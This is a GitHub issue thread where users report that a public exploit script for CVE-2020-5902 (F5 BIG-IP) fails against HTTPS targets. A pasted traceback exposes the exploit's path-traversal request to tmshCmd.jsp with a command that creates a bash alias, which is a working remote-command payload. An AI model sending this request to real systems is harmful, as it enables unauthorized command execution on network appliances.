Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

不支持https #3

Open
Lucifer1993 opened this issue Jul 7, 2020 · 2 comments
Open

不支持https #3

Lucifer1993 opened this issue Jul 7, 2020 · 2 comments

Comments

@Lucifer1993
Copy link

在对https的目标进行利用的时候会出现异常报错。

@Q1984
Copy link

Q1984 commented Jul 7, 2020

Same here, looks like there is a problem with https.

Traceback (most recent call last):
File "CVE-2020-5902.py", line 109, in
tmshCmd_exit(url,file,cmd)
File "CVE-2020-5902.py", line 34, in tmshCmd_exit
r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
File "/usr/lib/python2.7/dist-packages/requests/api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "/usr/lib/python2.7/dist-packages/requests/api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python2.7/dist-packages/requests/adapters.py", line 516, in send
raise ConnectionError(e, request=request)
requests.exceptions.ConnectionError: HTTPSConnectionPool(host='x.x.x.x', port=443): Max retries exceeded with url: //tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash (Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fc28f4ae7d0>: Failed to establish a new connection: [Errno -2] Name or service not known',))

@nerotix
Copy link

nerotix commented Jul 7, 2020

same issue here.. i checked the code and it specifies not to verify the certificate so its kinda odd it gives an https error.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants